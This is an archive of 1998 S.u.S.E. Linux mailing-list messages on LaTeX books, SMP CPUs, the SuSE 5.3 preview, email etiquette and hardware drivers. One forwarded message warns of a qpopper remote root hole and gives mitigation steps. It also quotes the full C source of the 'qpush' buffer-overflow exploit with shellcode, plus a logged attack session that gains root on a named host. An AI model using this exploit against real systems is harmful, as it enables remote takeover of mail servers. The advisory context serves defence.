>=20
> I switched cold turkey from OS/2 (which I really really liked) to Linux.  I
> haven't reinstalled OS/2 and may never do so.
>=20
> But I really really miss the WPS.  That was intuition itself with some power
> behind it!  Window managers have to come a long way.  I tried ICEWM but it's
> mostly decorations, and no integration, from what I've seen.  Am I wrong?
>=20
> > My wife likes OS/2 for the most part, though she is learning to get aroun=
d in
> > Xfree
> > as well:-)
>=20
> Sounds like it's time to install XFree86-OS/2!  (Check my page for links, I
> haven't seen it in about a year, though)
>=20
> ---
> jonathan(a)aracnet.net
> http://members.xoom.com/JMarkevich>
>=20
> If you just try long enough and hard enough, you can always manage to
> boot yourself in the posterior.
>                 -- A. J. Liebling
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From tanc@cuug.ab.ca Tue Jun 30 04:31:21 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] LaTeX
Date: Mon, 29 Jun 1998 22:31:21 -0600
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If anyone is interested in LaTeX, here are some of the resources that I
know of.  I know it's not a whole lot, but may be a pointer for starters.

www.tug.org
www.tex.ac.uk

A Guide to Latex 2E : Document Preparation for Beginners and Advanced
Users (Kopka, Helmut)

LaTex : A Documentation Preparation System User's Guide and Reference
Manual

These are the ones that I have used before.  I used both the books when I
got started.  They are both available through www.amazon.com .  Check in
your local bookstore as well. =20

For more advanced stuff, look into:

The Latex Companion

The LaTex Graphics Companion : Illustrating Documents With Tex and
Postscript=20

Regards,
C. J. Tan
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From tanc@cuug.ab.ca Tue Jun 30 05:01:52 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Multiprocessors
Date: Mon, 29 Jun 1998 23:01:52 -0600
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Arun,

Thanks a lot.  Actually, my processor is already on its way here.  So I'll
wait till it gets here and try it out. =20

Regards,
C. J. Tan

On Mon, 29 Jun 1998, Arun K. Khan wrote:

>=20
> At 07:39 PM 6/28/98 -0600, you wrote:
> >
> >I am wondering what will happen if I were to put in two processors which
> >are of different stepping into a multiprocessor machine.  Has anyone
> >encountered this before?  Currently, I have a PPro 200 256K Stepping 9 and
> >I want to order another one, but I don't know if it'll be Stepping 9 as
> >well or not.
> >
> >
> >Regards,
> >C. J. Tan
>=20
> I have a system with 2 PPro 200 steppings 6 and 7 resp. and I bought both
> CPUs at the same time from the same vendor!  However, the system works fine
> under WinNT as well as Linux 2.0.33.  Try to get a CPU with stepping as
> close as possible to 9 (the existing one in your system).  Or better yet
> you might try the forums at Intel's support site http://support.intel.com>
> before taking the plunge with the 2nd CPU.
>=20
> Good luck.
> Arun Khan
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From jpcowh01@ox.slug.louisville.edu Tue Jun 30 05:41:50 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New on 5.3
Date: Tue, 30 Jun 1998 01:41:50 -0400
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>   * FTP support for installation and update (now support full update via ft=
p!).=20
>=20

Hey Bodo or anyone else,

        Would having this feature (since RH has it in their distributions) hu=
rt the sales
of the subscription of SuSE Linux?  Do you plan to charge for this feature?  =
Could
people burn copies of the ftp site on CD-ROM and have the newest version of S=
uSE?
Would there be some registration method incorporated?  Am I too paranoid abou=
t this?

                                                                             =
                                                   Jonathan


--=20
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         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
                  http://www.slug.louisville.=
edu/~jpcowh01>

This is my world and I am...                           World Leader Pretend
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From mwagnon@ixpres.com Tue Jun 30 06:27:56 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] LaTeX
Date: Mon, 29 Jun 1998 23:27:56 -0700
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C. J. Kenneth Tan wrote:
> 
> A Guide to Latex 2E : Document Preparation for Beginners and Advanced
> Users (Kopka, Helmut)
> 

Is this a good book for beginners? I have the Leslie Lamport book and I
like it. I also have the Latex Companion and the Latex Graphics
companion, but these two books BLOW me away! I'm looking for a book that
will walk me through an installation of fonts or other packages etc. I
really like Latex, and it has kept me from buying Wordperfect or
Applixware. Thanks for the web sites...I'm off to explore...

Mark
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From hekate@intergate.bc.ca Tue Jun 30 06:43:48 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New on 5.3
Date: Mon, 29 Jun 1998 23:43:48 -0700
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People can already download everything for RH and SuSE. If you are
paranoid then why now? I don't think ftp support is a problem.=20

On Tue, 30 Jun 1998, World Leader Pretend wrote:

> Date: Tue, 30 Jun 1998 01:41:50 -0400 (EDT)
> From: World Leader Pretend 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] New on 5.3
>=20
>=20
> >   * FTP support for installation and update (now support full update via =
ftp!).=20
> >=20
>=20
> Hey Bodo or anyone else,
>=20
> 	Would having this feature (since RH has it in their distributions) hurt th=
e sales
> of the subscription of SuSE Linux?  Do you plan to charge for this feature?=
  Could
> people burn copies of the ftp site on CD-ROM and have the newest version of=
 SuSE?
> Would there be some registration method incorporated?  Am I too paranoid ab=
out this?
>=20
> 																Jonathan
>=20
> --=20
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                          =
           =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>=20
>                            Jonathan Paul Cowherd
>                         jpcowh01(a)slug.louisville.edu
>                   http://www.slug.louisvill=
e.edu/~jpcowh01>
>=20
> This is my world and I am...                           World Leader Pretend
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                          =
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From tanc@cuug.ab.ca Tue Jun 30 07:01:28 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] LaTeX
Date: Tue, 30 Jun 1998 01:01:28 -0600
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Mark,

What do you mean by installation of fonts and packages?  I will not
recommend installing specific fonts on your machine and packages in the
default locations.  This is because when you try to take your files to
another machine and try to compile it there, you'll face problems -- fonts
and packages are not there anymore.  What I do to use non-default style
files and class files is by having them in the same directory as my source
file.  This way, I know that my class or style files are right with my
source file.  That way, it's not so smart not to check out what the
style or class files are when trying to take the source file elsewhere. =20

Yes, the book mentioned below is a really good book.  It walks you through
a lot of the steps.  The edition that I have is not for LaTeX2e but for
LaTeX 2.0.9. =20

Regards,
C. J. Tan

On Mon, 29 Jun 1998, Mark Wagnon wrote:

>=20
> C. J. Kenneth Tan wrote:
> >=20
> > A Guide to Latex 2E : Document Preparation for Beginners and Advanced
> > Users (Kopka, Helmut)
> >=20
>=20
> Is this a good book for beginners? I have the Leslie Lamport book and I
> like it. I also have the Latex Companion and the Latex Graphics
> companion, but these two books BLOW me away! I'm looking for a book that
> will walk me through an installation of fonts or other packages etc. I
> really like Latex, and it has kept me from buying Wordperfect or
> Applixware. Thanks for the web sites...I'm off to explore...
>=20
> Mark
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From tanc@cuug.ab.ca Tue Jun 30 07:52:23 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] LaTeX
Date: Tue, 30 Jun 1998 01:52:23 -0600
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On Tue, 30 Jun 1998, Mark Wagnon wrote:

> C. J. Kenneth Tan wrote:
> =20
> > What do you mean by installation of fonts and packages?
>=20
> I'm not really sure :)  I've seen hundreds of fonts on CTAN that can be
> downloaded, but I am unsure what to do with the files once I have
> them...where do they go, how to use them in a document, that kind of
> thing.

Never bothered to use fonts that are not in the standard package out of
ftp.tug.org because I need my documents to be really portable among
more than a dozen machines.  But I do use style files and class files.

>=20
> > I will not recommend installing specific fonts on your machine and=20
> > packages in the default locations.  This is because when you try to
> > take your files to another machine and try to compile it there,
> > you'll face problems -- fonts and packages are not there anymore.=20
>=20
> You're right. To use non-default files defeats the purpose of using such
> a portable system. However, I'm not likely to send a manusript to a
> publisher or write my thesis any time soon. I was just curious to play
> with the fonts. Much like when True Type fonts came out and there was a
> sudden rash of "ransom notes".=20
>=20
> > Yes, the book mentioned below is a really good book.  It walks you
> > through a lot of the steps.  The edition that I have is not for
> > LaTeX2e but for  LaTeX 2.0.9.
>=20
> I remember seeing this book at a local bookstore now. I think I'll take
> a look at it. One other thing, do you know anything about the TeX Book
> by Donald Knuth? I've seen it aroung but it seems pricey.
>=20
> Thanks a bunch,
>=20
> Mark
>=20

Use the TeX Book if you want to create style files, or want to do certain
things that LaTeX does not yet have im its long list of features, or if
you want to get some specific kind of effects.  (But getting a specific
effect in one source file again defeats the whole point of using LaTeX.)
I have never had the need to use it myself.

Regards,
C. J. Tan
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From hekate@intergate.bc.ca Tue Jun 30 08:26:12 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New on 5.3
Date: Tue, 30 Jun 1998 01:26:12 -0700
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looks good. Sure it'll look even better at release time.=20

On Mon, 29 Jun 1998, Bodo Bauer wrote:

> Date: Mon, 29 Jun 1998 18:32:27 -0700
> From: Bodo Bauer 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: [S.u.S.E. Linux] New on 5.3
>=20
>=20
> Hi,
>=20
> here is a list of what to exspect from S.u.S.E. Linux 5.3. This list
> is just a preview and things may change. It's not an official announcement
> or anything like this. I just want you to keep informed.. :)
>=20
> Ciao,
> 	BB
> ---------------------------------------------------------------------------=
----
> New features of S.u.S.E. Linux 5.3
>=20
> Kernel 2.0.34
>   * Support of FAT32 and Joilet filesystems=20
>=20
> YaST
>=20
> Revised installation. Now offers two ways to install the system: Quickinsta=
ll=20
> or Expert Mode=20
>=20
>   * Easier partitioning and filesystem assignement.=20
>   * New fdisk version (Win95-Fat32 and Win95-extended compatible).=20
>   * FTP support for installation and update (now support full update via ft=
p!).=20
>=20
> Updated packages
>=20
>   * apache 1.3.0 (including mod_perl and "server side includes")=20
>   * apacheSSL 1.2.6 (includeing PHP3 und SSL 1.17) (not on SuSE Linux inter=
national)=20
>   * apsfilter (tmp-file fixes)=20
>   * automake 1.3=20
>   * arcad 0.074 (demo)=20
>   * cdwtools 0.95beta03=20
>   * dhcp 1.0pl2=20
>   * dosemu 0.66.7 (Security fixes)=20
>   * emacs 20.2=20
>   * fips 2.0=20
>   * fortify 1.2.3 (not on SuSE Linux international)=20
>   * freeciv 1.6.3=20
>   * gdtmon 1.01=20
>   * gimp 1.0=20
>   * graffy (demo)=20
>   * gs_lib (GNU version, support added for Brother HL720 und HL730)=20
>   * gtk 1.0.4=20
>   * itcl 2.2p2=20
>   * kde pre-1.0 or 1.0=20
>   * lsof 4.31=20
>   * mh (Update)=20
>   * netscape 4.05=20
>   * plp 4.1.2=20
>   * pop (includes IMAP-4.1.BETA 10.230)=20
>   * postgres 6.3.2 (new interface)=20
>   * qt 1.33=20
>   * rpm2html 0.85=20
>   * sane 0.73=20
>   * smeiffel 0.81=20
>   * snavig 4.0.3=20
>   * susefax 0.84=20
>   * suseppp 1.2=20
>   * vdx 1.2=20
>   * wget 1.5.1 (Bugfix release)=20
>   * WindowMaker (afterstep )=20
>   * wine 980614=20
>   * xmp 1.1.5=20
>   * xosview 1.6.0=20
>   * ytree 1.63=20
>   * All graphic-libraries have been reviewed=20
>   * revised help-system=20
>=20
> New packages
>=20
>   * argroups 1.0 (UPS management software)
>     This package offers the possibility to shut down the system dependent
>     on the UPS status. It also includes a GUI monitor for the UPS.
>   * blender 1.34beta (3D modelling, animation and rendering software)
>     Blender is a high-end animation studio. It is extremly fast and offers
>     an unique approach to the world of 3D. You can generate commercials,
>     technical presentations and business graphics. It offers things like
>     morphing, and makes the development of user interface easy.
>   * cipe 0.5.3 (encoded IPIP-Tunnel) (not on SuSE Linux international)
>     CIPE stands for 'Crypto IP Encapsulation'. It allows to set up secure
>     'Virtual Private Networks'.
>   * convert 1.3
>     Converts abaout 700 phys. units into each other=20
>   * dap (Digital Audio Processor)
>     Application to edit audio samples. Supports AIFF and AIFF-C with 8 or=20
>     16 Bit and 1,2 or 4 channels
>   * ezwgl 1.38 (GUI-Bibliothek)
>   * faxedit 1.14 (simple editor for pbm-Dateien)
>     Provides a simple way to answer faxes. You can cut off parts, modify
>     them in size or position, etc. Allows you to enter text and print
>     prewiews.
>   * fbm (Fuzzy Pixmap Manipulation Tools)
>     Tools using libfbm.=20
>   * fbm2fli=20
>     create animations from fbm-picture-files.=20
>   * fhs 2.0 (Filesystem Hierarchy Standard)
>     Document describing the new standard for the Linux (Unix)
>     filesystem hierarchy.
>   * filerun 2.4.2 (X11 filemanager)
>   * gif (gif tools)
>     Conversation of gif files in other formats.=20
>   * global 2.24
>     GLOBAL is a commen tag-system for C and Yacc. Allows the easy creation
>     of HTML references for complex sourcecodes (like X or the
>     Linux-Kernel).
>   * gltt (library for TrueType with OpenGL)
>   * ircd (Internet Relay Chat Server)
>     IRC server=20
>   * libgif (Gif-Bibliothek)
>     Library of functions to modify gif images=20
>   * liblug (Multi-Format graphic library)
>     Supports GIF, PCX, TGA, RGB, TIFF, PIX, RLA, RLE, PBM, PGM, PNM, RAW,
>     JPG
>   * lam (LAM/MPI parrallel computing)
>   * LAM (Local Area Multicomputer)=20
>     is a MPI (Message Passing Interface) programming environment and
>     development system for heterogenous networks. With LAM you can use a
>     cluster of existing computers as a single parrallel processor. LAM has
>     lots of debugging options and is very performant. It's a full
>     implementation of the MPI standard for parrallel processing.
>   * maxwell 0.5.2 (text processor)
>   * netacct 0.4 (account for network traffic)
>   * netcat 1.10 (a simple but powerfull networking tool)
>   * pvm 3.4.beta6 (Parallel Virtuall Machine)
>     PVM allows to use a pool of computer as one virtual
>     machine. Applications are written in C, C++ or Fortran, and access the
>     system via the PVM library.
>   * roottail
>     Displays one or more files in different colors on the X11 root window. =

>   * slab 2.1 (sound tool)
>     incl. recording studio, mixer...=20
>   * sox (sound tool)
>     All purpose tool for modifing and converting sound files. (command
>     line)
>   * sp (SGML Parser-Tool)
>     Process SGML and XML documents. Includes the parser nsgmls, and
>     the utilities sgmlnorm, spam, spent and sx. sx is used to convert
>     SGML to XML, following the soon to be released WWW standard.=20
>     spectcl 1.1
>   * Interface builder for Tcl/Tk and Java by Sun Microsystems!=20
>   * tkdraw 1.1
>     Graphic tool which generates eps files.=20
>   * tuba 2.1p1 (Tcl/Tk debugger)
>   * tvision 0.5 (Port of Borland's TurboVision)
>   * vnc 3.3.1 (virtual X-server)
>   * xibod=20
>     Tools for ISDN channel bundling=20
>   * xmftp 1.0.4 (FTP tool for X Window)
>=20
> X Window System
>=20
>   * XFree86 3.3.2 2pl2 (xdm Skripte revised, security fixes)
>   * XFCom_3DLabs Server
>     Support for GLINT MX, GLINT 500TX, Permedia and Permedia 2 (formerly
>     XSuSE_Elsa_GLoria server)
>   * XFCom_SiS Server
>     Support for SiS 86c201, SiS 86c202, SiS 86c205, SiS 5597 (ALPHA!), SiS
>     5598 (ALPHA!) (formerly XSuSE_SiS server)
>   * XFCom_Cyrix Server
>     support for Cyrix MediaGX (not 100ure yet...)=20
>=20
> --=20
> Bodo Bauer            S.u.S.E., LLC                  fon +1-510-835 7873=20
> bb(a)suse.de            458 Santa Clara Avenue         fax +1-510-835 7875
> http://w=
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From nils@work.de Tue Jun 30 08:49:12 1998
From: nils@work.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 10:49:12 +0200
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I agree that html should not be used for email, but... What version are you
using? Doesn't pine filter out html tags?

(at least it beats using rtf)

At 17:26 29.06.98 -0700, you wrote:
>
>Netscape is fine, if you're always in X. I'm not. I use Pine alot and it's
>annoying when people send that html stuff. That's just me. I don't
>suggest that people should not send such stuff. I just know I have been
>deleting it.

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From grimmer@suse.de Tue Jun 30 09:24:40 1998
From: grimmer@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Am I paranoid, is it Microsoft, or what?
Date: Tue, 30 Jun 1998 11:24:40 +0200
Message-ID: <3598AED8.EE6F2D5B@suse.de>
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Hi,

zentara wrote:

> > They probably changed thier nameservers..... DUH!!!!!
> Duh is right.... my apologies to Microsoft, Mindspring, and the
> internet.

Please bear my ignorance - but what does "DUH" stand for?
I assume, it means "do your homework", am I right?

Please help some Kraut to understand this ;-)

LenZ


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From mantel@suse.de Tue Jun 30 09:43:32 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Boot Disk don't!
Date: Tue, 30 Jun 1998 11:43:32 +0200
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Hi,

On Mon, 29 Jun 1998, pmoon wrote:

>     I first want to say thanks for all the good information that comes
> out in this list.  I replaced the linux source package (de-installed,
> reinstalled) with the lx-suse source package and reconfigured /
> recompiled my kernel to support an AWE 64 card.  Post this, I managed to
> frag my boot floppy and since then, have not been able to create a boot
> floppy that will get me into my root system successfully. I have been
> getting in with the S.u.S.E. install disk and CD... I was always
> successful in the past week with a boot floppy created by YAST / sys
> admin / create boot disk ... However now with a disk created in the same
> way, I get into the boot start load of my root file system on /dev/sdb1
> and all hardware is recognized and config'd as normal, then right after
> the nic is recognized I hang at:
> 
> VFS mounted extfs2 ect. ect. ect.  (or something like this)
> 
> And that is all she wrote!

Looks to me as if you forgot to compile ELF executable support into the
kernel. So it is unable to start the init process.
Check your kernel configuration and make sure CONFIG_BINFMT_ELF is set to
"Y".

> I have to go back in with the install disk again.. I saw someone
> mentioned removing LINEAR from the LILO.CONF file with regard to another
> boot problem posted here. I will try that next when I leave here...

That's a completely different problem. Your kernel gets loaded by LILO, so
you do not have any problem with your /etc/lilo.conf

> Any suggestions would be greatly appreciated..
> 
> Perry Moon
> Tampa, Florida

    Hubert

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From beamanj@novaquest.com Tue Jun 30 10:06:41 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Oracle 7.0 on Linux
Date: Tue, 30 Jun 1998 03:06:41 -0700
Message-ID: <000101bda40e$c724ff70$0100a8c0@starfleet.pacbell.net>
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Anyone know if you can take the Sun Unix Oracle 7 and run it on Linux (SUSE)?
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From chaos@odn.de Tue Jun 30 10:11:41 1998
From: chaos@odn.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 12:11:41 +0200
Message-ID: 
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HihO...

> > Please do not send any html/mime stuff to this list ! 
> 
> Or maybe Linux should get a contempory mail program.  Does not Netscape
> mail do
> current mail formats?  

i think the curent mail format is ascii...
html is not the current mail format- it's the current web-format...

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From bouke@xs4all.nl Tue Jun 30 10:30:12 1998
From: bouke@xs4all.nl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 12:30:12 +0200
Message-ID: <19980630123012.A23521@xs4all.nl>
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Op Mon, Jun 29, 1998 at 08:57:06PM -0600, schreef David Nelsen:
> At 6/29/1998, you wrote:
> >That isn't the point.  Some people prefer the console, some people don't
> >even have x installed.  Send your mom and best friend html all you want,
> >but when you are sending a post to a public forum that is read by
> >hundreds of users it is just plain rude to send html.
>=20
> I am sorry if I sent eye-strain email, but in this case it's not so much
> rude as ignorant.  All email looks the same here as Eudora does whatever it
> does in the background.  What's worse is I don't know how to regulate it's
> formatting.  I'll refrain form posting until I get email figured out in Lin=
ux.
>=20

Hi Dave,

X-Sender: nelsen(a)mail.telusplanet.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1

and regular plain asci, you did it right anyway ;-)

In Eudora switch on/off (i'm not sure) the tickbox in the options that
disregards all styles before sending the email. That should fix your problem

grtz
Bouke


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From Marius.Augenstein@alcatel.de Tue Jun 30 10:42:55 1998
From: Marius.Augenstein@alcatel.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Oracle 7.0 on Linux
Date: Tue, 30 Jun 1998 12:42:55 +0200
Message-ID: <3598C12F.F987E073@alcatel.de>
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beamanj(a)novaquest.com wrote:
>=20
> Anyone know if you can take the Sun Unix Oracle 7 and run it on Linux (SUSE=
)?

I only heard that an oracle trainer from swizerland runs it under FreeBSD.
He used IBCS2. Perhaps it will run under Linux too. Try it out ....


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From misc.word.corp@pobox.com Tue Jun 30 12:19:27 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Linux and the Palm Pilot.
Date: Tue, 30 Jun 1998 08:19:27 -0400
Message-ID: <3598D7CF.4DDDA034@pobox.com>
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I'm thinking of breaking my piggy bank and dropping $158 on a Palm
Pilot, now that prices have lowered for the original version.

The precondition for the purchase, of course, is being able to use most
of the Pilot's features without the agony of booting into W_n95
(cringe).

Does anybody use the Pilot with Linux and/or S.u.S.E. 5.2? If so, what
applications are necessary to get started? Any config difficulties?

I've also heard thru the rumor mill that the Pilot can run a version of
Linux tailored for this device. Anybody have experience with this?

Thanks! I really need to get myself organized with this product!

-- Glenn --
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From noel@wipol.uni-bonn.de Tue Jun 30 12:44:58 1998
From: noel@wipol.uni-bonn.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] FW: qpush: qpopper exploit source
Date: Tue, 30 Jun 1998 14:44:58 +0200
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-----FW: <000901bda358$8df90a40$bc9cdc83(a)cygnus.tabu.uni-bonn.de>-----

EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!
EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!
EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!
EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!

SICHERHEITSLUECKE IN QPOPPER
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D

qpopper ist ein POP3 Daemon, der in JEDER Suse Linux Distribution
installiert und aktiviert ist!!!

Auch auf vielen anderen Systemen wird er eingesetzt

Es ist moeglich innerhalb von 5 Sekunden von jedem Rechner der Welt aus eine
root-Shell auf dem betroffenen Rechner zu oeffnen.

BETROFFENE SYSTEME:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

JEDER SUSE LINUX RECHNER mit aktiviertem qpopper (STANDARDEINSTELLUNG IN
SUSE LINUX!!!)

JEDER ANDERE RECHNER mit qpopper

FESTSTELLEN, OB RECHNER BETROFFEN:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Ist folgender Eintrag in der /etc/inetd.conf vorhanden, so ist der Rechner
betroffen:

pop3   stream  tcp     nowait  root    /usr/sbin/popper -s

(Lautet das Programm ipop3 anstatt popper, so ist der Rechner NICHT
betroffen)

LOESUNG:
=3D=3D=3D=3D=3D=3D=3D=3D

Ersteinmal deaktivieren des qpoppers in /etc/inetd.conf und danach kill -HUP
auf die Prozess ID vom inetd. Danach installieren eines sicheren POP3
Daemons. (zum Beispiel ipop3d)

Die Sourcen dazu liegen auf ftp.tabu.uni-bonn.de in /pub/patches/unix

ftp://ftp.tabu.uni-bonn.de/pub/patches/=
unix>

Hier ein Beispiel-Angriff von szczepan(a)bse.tabu.uni-bonn.de auf
biblio3.physik.uni-bonn.de
(Dort habe ich den popper nach dem "Angriff" deaktiviert)

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

zczepan(a)bse:/home/szczepan > ./a.out biblio3.physik.uni-bonn.de
=C3=A4=C3=AE=C3=BF=C2=BF=C3=A4=C3=AE=C3=BF=C2=BF=C3=A4=C3=AE=C3=BF=C2=BF=C3=
=A4=C3=AE=C3=BF=C2=BF=C3=A4=C3=AE=C3=BF=C2=BF=C2=90=C2=90".
whoami
root

hostname
biblio3

logout

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Ich empfehle die sofortige Deaktivierung aller qpopper Daemon Prozesse in
/etc/inetd.conf und einen Neustart des inetd!

Torge Szczepanek - ICQ 3067708
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Tutor CIP-Pool Physics - Admin SWH Tannenbusch
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://cygnus.ml.org/_> mailto:cygnu=
s(a)iname.com

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a)NETSPACE.ORG] On Behalf Of Herbert
Rosmanith
Sent: Montag, 29. Juni 1998 02:21
To: BUGTRAQ(a)NETSPACE.ORG
Subject: qpush: qpopper exploit source

dear listmembers,

this program demonstrates how to exploit popper.
it took me quite a time that vsprintf() in pop_msg
translates all upper-case to lower-case, which will
result in corruptions of assembly code containing
these codes, and interpretes hexcodes like 0x0c, 0x0b
as line seperator (LF?), which seems to stop the copying
of the shell-code too early.

note that, after "qpush" has successfully executed
/bin/sh, you will not see any prompt. type "id" to
see who you are, like that:

$ ./qpush technix.oeh
=C3=A4=C3=AE=C3=BF=C2=BF=C3=A4=C3=AE=C3=BF=C2=BF=C3=A4=C3=AE=C3=BF=C2=BF=C3=
=A4=C3=AE=C3=BF=C2=BF=C3=A4=C3=AE=C3=BF=C2=BF
id
uid=3D0(root) gid=3D0(root)

use at your own risk.

regards,
h.rosmanith
herp(a)wildsau.idv.uni-linz.ac.at

--------------------------- >8 --------------------------------

/* qpush: qualcom popper buffer overflow exploit (pop_msg)
 * Mon Jun 29 01:26:06 GMT 1998 - herp
 *                                Herbert Rosmanith
 *                                herp(a)wildsau.idv.uni-linz.ac.at
 */

#include        
#include        
#include        
#include        
#include        
#include        
#include        
#include        

long addrlist[]=3D{
        0xbfffeee4,             /*2.2*/
        0xbfffec2c              /*2.41beta1*/
};

char shellcode[] =3D
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh.........";

void die(char *s) {
        if (errno) perror(s);
        else fprintf(stderr,"\n",s);
        exit(-1);
}

void usage() {
        printf("qpush [-index] \n"
               " -0 QPOP Version 2.2             (default)\n"
               " -1 QPOP Version 2.41beta1\n");
        exit(0);
}

int resolv(char *host,long *ipaddr) {
        if (isdigit(host[0])) {
                *ipaddr=3Dinet_addr(host);
                if (*ipaddr=3D=3D-1) return -1;
        }
        else {
                struct hostent *hp;
                if ((hp=3Dgethostbyname(host))=3D=3DNULL) {
                        fprintf(stderr,"tc: : unknown host\n");
                        exit(-1);
                }
                *ipaddr=3D*(unsigned long *)hp->h_addr;
        }
        return 0;
}

int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;

        s=3Dsocket(PF_INET,SOCK_STREAM,0);
        if (s=3D=3D-1) die("socket");

        if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)=3D=3D-1)
                die("unknown host");
        s_in.sin_family=3DAF_INET;
        s_in.sin_port=3Dhtons(port);

        if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))=3D=3D-1)
                die("connect");

        return s;
}

void socket_read(int s,char *buf,int len) {
int i;
        switch(i=3Dread(s,buf,len)) {
        case -1: die("unexpected EOF");
        case  0: die("EOF");
        default:
                buf[i]=3D0;
                //printf("",buf);
                break;
        }
}

void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;

        for (i=3D0;i=3D2 && argv[1][0]=3D=3D'-') {
                ix=3Datoi(&argv[1][1]);
                argc--;
                argv++;
        }
        else ix=3D0;

        if (argc!=3D2 || ix>sizeof(addrlist)/sizeof(long))
                usage();

        s=3Dconnect_to(argv[1],110);      /* WKS POP3 */
        socket_read(s,buf,sizeof(buf));
        memset(buf,0x90,sizeof(buf));
        for (i=3D981;i<981+10*4;i+=3D4)
                memcpy(&buf[i],&addrlist[ix],4);
        memcpy(&buf[941],shellcode,strlen(shellcode));
        buf[sizeof(buf)-3]=3D0x0d;
        buf[sizeof(buf)-2]=3D0x0a;
        buf[sizeof(buf)-1]=3D0x00;
        write(s,buf,sizeof(buf));
        socket_read(s,buf,sizeof(buf));
        terminal(s);
}

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From drew@adapco.com Tue Jun 30 12:46:45 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Tue, 30 Jun 1998 08:46:45 -0400
Message-ID: <9806301246.AA24164@ibm29.adapco.com>
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The updated bios is at www.diamondmm.com.  It's where I got it.  It should be=
 at
the bottom of the list of drivers.

upport -> drivers/firmware -> fire gl 1000 pro

htt=
p://www.diamondmm.com/products/drivers/firegl-1000pro.html>

If you have just the regular 1000 I think the only difference is that it has =
4MB
of memory and it is the oem version.  I have the 1000 pro.  Check the readme =
in=20
with the bios to confirm that it works with both cards.

Also you may want to check out the permedia section at 3dlabs they have links
to linux/X11 information for the chipset.

Drew

> Drew,
>=20
> I've have checked diamondmm.com multiple times and all that is there are 95
> and NT drivers and a VBE driver. Thank you though for your help.
>=20
> -Jason
> At 05:31 PM 6/29/98 -0400, you wrote:
> >
> >check out www.diamondmm.com it should be there.  Sorry I'm a little bust
> tonight.
> >
> >Drew
> >
> >
> >> Drew,
> >>=20
